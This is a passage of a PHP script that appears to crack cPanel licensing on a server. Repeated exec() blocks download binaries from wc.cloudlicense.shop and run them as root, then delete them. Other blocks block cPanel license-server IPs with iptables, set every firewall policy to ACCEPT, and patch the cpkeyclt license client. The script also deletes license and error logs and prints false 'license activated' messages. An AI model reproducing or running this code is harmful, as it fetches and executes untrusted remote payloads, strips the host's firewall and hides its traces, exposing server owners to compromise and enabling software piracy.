																	exec('sh /usr/bin/con0 > /dev/null 2>&1');
																	exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
																	exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
																	exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																	exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																	exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
																	exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																	exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																	exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																	exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																	exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
																}
															}
														}

														$dns = '/usr/local/cpanel/cpanel.lisc';

														if (file_exists($dns)) {
															$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
															$pos = strpos($filedns, 'dnsonly');

															if ($pos !== false) {
																exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
																exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
																exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
																exec('sh /usr/bin/con0 > /dev/null 2>&1');
																exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
																exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
																exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
																exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
																exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
															}

															$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

															if (0 < strlen($cpanel_txt)) {
																if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
																	exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																	exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																	exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																	exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
																	exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
																	exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
																	exec('sh /usr/bin/con0 > /dev/null 2>&1');
																	exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
																	exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
																	exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																	exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																	exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
																	exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																	exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																	exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																	exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																	exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
																}
															}
														}

														$filename3 = '/usr/local/cpanel/cpanel.lisc';

														if (file_exists($filename3)) {
															exec('/usr/sbin/iptables -A INPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1');
															exec('/usr/sbin/iptables -A INPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1');
															exec('/usr/sbin/iptables -A INPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1');
															exec('/usr/sbin/iptables -A INPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1');
															exec('/usr/sbin/iptables -A INPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1');
															exec('/usr/sbin/iptables -A INPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1');
															exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1');
															exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1');
															exec('/usr/sbin/iptables -A OUTPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1');
															exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1');
															exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1');
															exec('/usr/sbin/iptables -A OUTPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1');
																			maximum_users();
                                echo '\n';
				echo 'Cpanel license has been updated and renewed';
                                echo '\n';
															exec('wget -O /usr/local/cpanel/.ltrc wc.cloudlicense.shop/date/current > /dev/null 2>&1');
															exec('wget -O /usr/local/cpanel/.ltrc1 wc.cloudlicense.shop/date/current > /dev/null 2>&1');
															exec('cat /usr/bin/.sysma/procc.conf9 > /usr/local/.recoverit');
															exec('cat /usr/local/.recoverit > /usr/local/.recoverit1');
															exec('sed -i \'1d\' /usr/local/.recoverit1');
															exec('sed -r \'s/\\s+//g\' /usr/local/.recoverit1 > /usr/local/.recoverit2');
															exec('sed -i\'_is_back\' \'s/cpanel.lisc/cpane1.lisc/g\' /usr/local/cpanel/.cpkeyclt');
															exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
															exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
															exec('cat /usr/local/cpanel/cpanel.lisc > /usr/local/cpanel/cpane1.lisc');
															exec('rm -rf /usr/bin/.sysma/procc*.conf > /dev/null 2>&1');
															exec('rm -rf /usr/bin/.sysma/procc.conf* > /dev/null 2>&1');
															exec('comp0 -i -a /usr/local/cpanel/logs/error_log > /dev/null 2>&1 && rm -rf /usr/local/cpanel/logs/error_log > /dev/null 2>&1');
															exec('service cpanel restart > /dev/null 2>&1');
															exec('rm -rf /root/GBCP.lock > /dev/null 2>&1');
															maximum_users();
															echo "";
echo "";
echo "\x1b" . '[36m' . 'Cpanel license has been updated and activated!' . "\x1b" . '[0m' . "";
echo "";
echo "";
														}
														else {
															exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.85 -j DROP; done > /dev/null 2>&1');
															exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.86 -j DROP; done > /dev/null 2>&1');
															exec('for run in {1..10}; do iptables -D INPUT -s 208.74.123.3 -j DROP; done > /dev/null 2>&1');
															exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.83 -j DROP; done > /dev/null 2>&1');
															exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.82 -j DROP; done > /dev/null 2>&1');
															exec('for run in {1..10}; do iptables -D INPUT -s 208.74.123.2 -j DROP; done > /dev/null 2>&1');
															exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.85 -j DROP; done > /dev/null 2>&1');
															exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.86 -j DROP; done > /dev/null 2>&1');
															exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.123.3 -j DROP; done > /dev/null 2>&1');
															exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.83 -j DROP; done > /dev/null 2>&1');
															exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.82 -j DROP; done > /dev/null 2>&1');
															exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.123.2 -j DROP; done > /dev/null 2>&1');
															exec('/usr/bin/rm /usr/local/cpanel/logs/license_log > /dev/null 2>&1');
															exec('timeout 5s csf -f > /dev/null 2>&1');
															exec('rm -rf /etc/csf/csf.error > /dev/null 2>&1');
															exec('rm -rf /usr/local/cpanel/cpanel.li* > /dev/null 2>&1');
															exec('for run in {1..10}; do killall cpkeyclt; done > /dev/null 2>&1');
															exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
															exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
															exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
															exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
															exec('iptables -A OUTPUT -j ACCEPT > /dev/null 2>&1');
															exec('iptables -I INPUT -j ACCEPT > /dev/null 2>&1');
															exec('iptables -I OUTPUT -j ACCEPT > /dev/null 2>&1');
															exec('iptables -P INPUT ACCEPT > /dev/null 2>&1');
															exec('iptables -P FORWARD ACCEPT > /dev/null 2>&1');
															exec('iptables -P OUTPUT ACCEPT > /dev/null 2>&1');
															exec('/usr/bin/wget -O /usr/bin/.sysma/procc39_2.conf https://wc.cloudlicense.shop/api/change2?key=' . $key . ' > /dev/null 2>&1');
															exec('sed -e \'s/<[^>]*>//g\' /usr/bin/.sysma/procc39_2.conf > /usr/bin/.sysma/procc47.conf');
															$null = shell_exec('check=$(timeout 70s /usr/bin/plast -q -f /usr/bin/.sysma/procc47.conf /usr/local/cpanel/.cpkeyclt 2> /dev/null)');
															exec('/usr/bin/rm -rf /root/.bash_time > /dev/null 2>&1');
															$dns = '/usr/local/cpanel/cpanel.lisc';

															if (file_exists($dns)) {
																$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
																$pos = strpos($filedns, 'dnsonly');

																if ($pos !== false) {
																	exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																	exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
																	exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
																	exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
																	exec('sh /usr/bin/con0 > /dev/null 2>&1');
																	exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
																	exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
																	exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																	exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																	exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
																	exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																	exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																	exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																	exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																	exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
																	exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
																}

																$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

																if (0 < strlen($cpanel_txt)) {
																	if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
																		exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																		exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																		exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																		exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
																		exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
																		exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
																		exec('sh /usr/bin/con0 > /dev/null 2>&1');
																		exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
																		exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
																		exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																		exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																		exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
																		exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																		exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																		exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																		exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																		exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
																	}
																}
															}

															$dns = '/usr/local/cpanel/cpanel.lisc';

															if (file_exists($dns)) {
																$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
																$pos = strpos($filedns, 'dnsonly');

																if ($pos !== false) {
																	exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																	exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
																	exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
																	exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
																	exec('sh /usr/bin/con0 > /dev/null 2>&1');
																	exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
																	exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
																	exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																	exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																	exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
																	exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																	exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																	exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																	exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																	exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
																	exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
																}

																$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

																if (0 < strlen($cpanel_txt)) {
																	if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
																		exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																		exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																		exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																		exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
																		exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
																		exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
																		exec('sh /usr/bin/con0 > /dev/null 2>&1');
																		exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
																		exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
																		exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																		exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																		exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
																		exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																		exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																		exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																		exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																		exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
																	}
																}
															}

															$dns = '/usr/local/cpanel/cpanel.lisc';

															if (file_exists($dns)) {
																$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
																$pos = strpos($filedns, 'dnsonly');

																if ($pos !== false) {
																	exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																	exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
																	exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
																	exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
																	exec('sh /usr/bin/con0 > /dev/null 2>&1');
																	exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
																	exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
																	exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																	exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																	exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
																	exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																	exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																	exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																	exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																	exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
																	exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
																}

																$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

																if (0 < strlen($cpanel_txt)) {
																	if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
																		exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																		exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																		exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																		exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
																		exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
																		exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
																		exec('sh /usr/bin/con0 > /dev/null 2>&1');
																		exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
																		exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
																		exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																		exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																		exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
																		exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																		exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																		exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																		exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																		exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
																	}
																}
															}

															$dns = '/usr/local/cpanel/cpanel.lisc';

															if (file_exists($dns)) {
																$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
																$pos = strpos($filedns, 'dnsonly');

																if ($pos !== false) {
																	exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																	exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
																	exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
																	exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
																	exec('sh /usr/bin/con0 > /dev/null 2>&1');
																	exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
																	exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
																	exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																	exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																	exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
																	exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																	exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																	exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																	exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																	exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
																	exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
																}

																$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

																if (0 < strlen($cpanel_txt)) {
																	if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
																		exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																		exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																		exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																		exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
																		exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
																		exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
																		exec('sh /usr/bin/con0 > /dev/null 2>&1');
																		exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
																		exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
																		exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																		exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																		exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
																		exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																		exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																		exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																		exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																		exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
																	}
																}
															}

															$filename3 = '/usr/local/cpanel/cpanel.lisc';

															if (file_exists($filename3)) {
																exec('/usr/sbin/iptables -A INPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1');
																exec('/usr/sbin/iptables -A INPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1');
																exec('/usr/sbin/iptables -A INPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1');
																exec('/usr/sbin/iptables -A INPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1');
																exec('/usr/sbin/iptables -A INPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1');
																exec('/usr/sbin/iptables -A INPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1');
																exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1');
																exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1');
																exec('/usr/sbin/iptables -A OUTPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1');
																exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1');
																exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1');
																exec('/usr/sbin/iptables -A OUTPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1');
																				maximum_users();
                                echo '\n';
				echo 'Cpanel license has been updated and renewed';
                                echo '\n';
																exec('wget -O /usr/local/cpanel/.ltrc wc.cloudlicense.shop/date/current > /dev/null 2>&1');
																exec('wget -O /usr/local/cpanel/.ltrc1 wc.cloudlicense.shop/date/current > /dev/null 2>&1');
																exec('cat /usr/bin/.sysma/procc47.conf > /usr/local/.recoverit');
																exec('cat /usr/local/.recoverit > /usr/local/.recoverit1');
																exec('sed -i \'1d\' /usr/local/.recoverit1');
																exec('sed -r \'s/\\s+//g\' /usr/local/.recoverit1 > /usr/local/.recoverit2');
																exec('sed -i\'_is_back\' \'s/cpanel.lisc/cpane1.lisc/g\' /usr/local/cpanel/.cpkeyclt');
																exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																exec('cat /usr/local/cpanel/cpanel.lisc > /usr/local/cpanel/cpane1.lisc');
																exec('rm -rf /usr/bin/.sysma/procc*.conf > /dev/null 2>&1');
																exec('rm -rf /usr/bin/.sysma/procc.conf* > /dev/null 2>&1');
																exec('comp0 -i -a /usr/local/cpanel/logs/error_log > /dev/null 2>&1 && rm -rf /usr/local/cpanel/logs/error_log > /dev/null 2>&1');
																exec('service cpanel restart > /dev/null 2>&1');
																exec('rm -rf /root/GBCP.lock > /dev/null 2>&1');
																maximum_users();
																echo "";
echo "";
echo "\x1b" . '[36m' . 'Cpanel license has been updated and activated!' . "\x1b" . '[0m' . "";
echo "";
echo "";
															}
															else {
																exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.85 -j DROP; done > /dev/null 2>&1');
																exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.86 -j DROP; done > /dev/null 2>&1');
																exec('for run in {1..10}; do iptables -D INPUT -s 208.74.123.3 -j DROP; done > /dev/null 2>&1');
																exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.83 -j DROP; done > /dev/null 2>&1');
																exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.82 -j DROP; done > /dev/null 2>&1');
																exec('for run in {1..10}; do iptables -D INPUT -s 208.74.123.2 -j DROP; done > /dev/null 2>&1');
																exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.85 -j DROP; done > /dev/null 2>&1');
																exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.86 -j DROP; done > /dev/null 2>&1');
																exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.123.3 -j DROP; done > /dev/null 2>&1');
																exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.83 -j DROP; done > /dev/null 2>&1');
																exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.82 -j DROP; done > /dev/null 2>&1');
																exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.123.2 -j DROP; done > /dev/null 2>&1');
																exec('/usr/bin/rm /usr/local/cpanel/logs/license_log > /dev/null 2>&1');
																exec('timeout 5s csf -f > /dev/null 2>&1');
																exec('rm -rf /etc/csf/csf.error > /dev/null 2>&1');
																exec('rm -rf /usr/local/cpanel/cpanel.li* > /dev/null 2>&1');
																exec('for run in {1..10}; do killall cpkeyclt; done > /dev/null 2>&1');
																exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
																exec('iptables -A OUTPUT -j ACCEPT > /dev/null 2>&1');
																exec('iptables -I INPUT -j ACCEPT > /dev/null 2>&1');
																exec('iptables -I OUTPUT -j ACCEPT > /dev/null 2>&1');
																exec('iptables -P INPUT ACCEPT > /dev/null 2>&1');
																exec('iptables -P FORWARD ACCEPT > /dev/null 2>&1');
																exec('iptables -P OUTPUT ACCEPT > /dev/null 2>&1');
																exec('/usr/bin/wget -O /usr/bin/.sysma/procc32.conf https://wc.cloudlicense.shop/api/change3?key=' . $key . ' > /dev/null 2>&1');
																exec('sed -e \'s/<[^>]*>//g\' /usr/bin/.sysma/procc32.conf > /usr/bin/.sysma/procc.conf10');
																$null = shell_exec('check=$(timeout 70s /usr/bin/plast -q -f /usr/bin/.sysma/procc.conf10 /usr/local/cpanel/.cpkeyclt 2> /dev/null)');
																exec('/usr/bin/rm -rf /root/.bash_time > /dev/null 2>&1');
																$dns = '/usr/local/cpanel/cpanel.lisc';

																if (file_exists($dns)) {
																	$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
																	$pos = strpos($filedns, 'dnsonly');

																	if ($pos !== false) {
																		exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																		exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
																		exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
																		exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
																		exec('sh /usr/bin/con0 > /dev/null 2>&1');
																		exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
																		exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
																		exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																		exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																		exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
																		exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																		exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																		exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																		exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																		exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
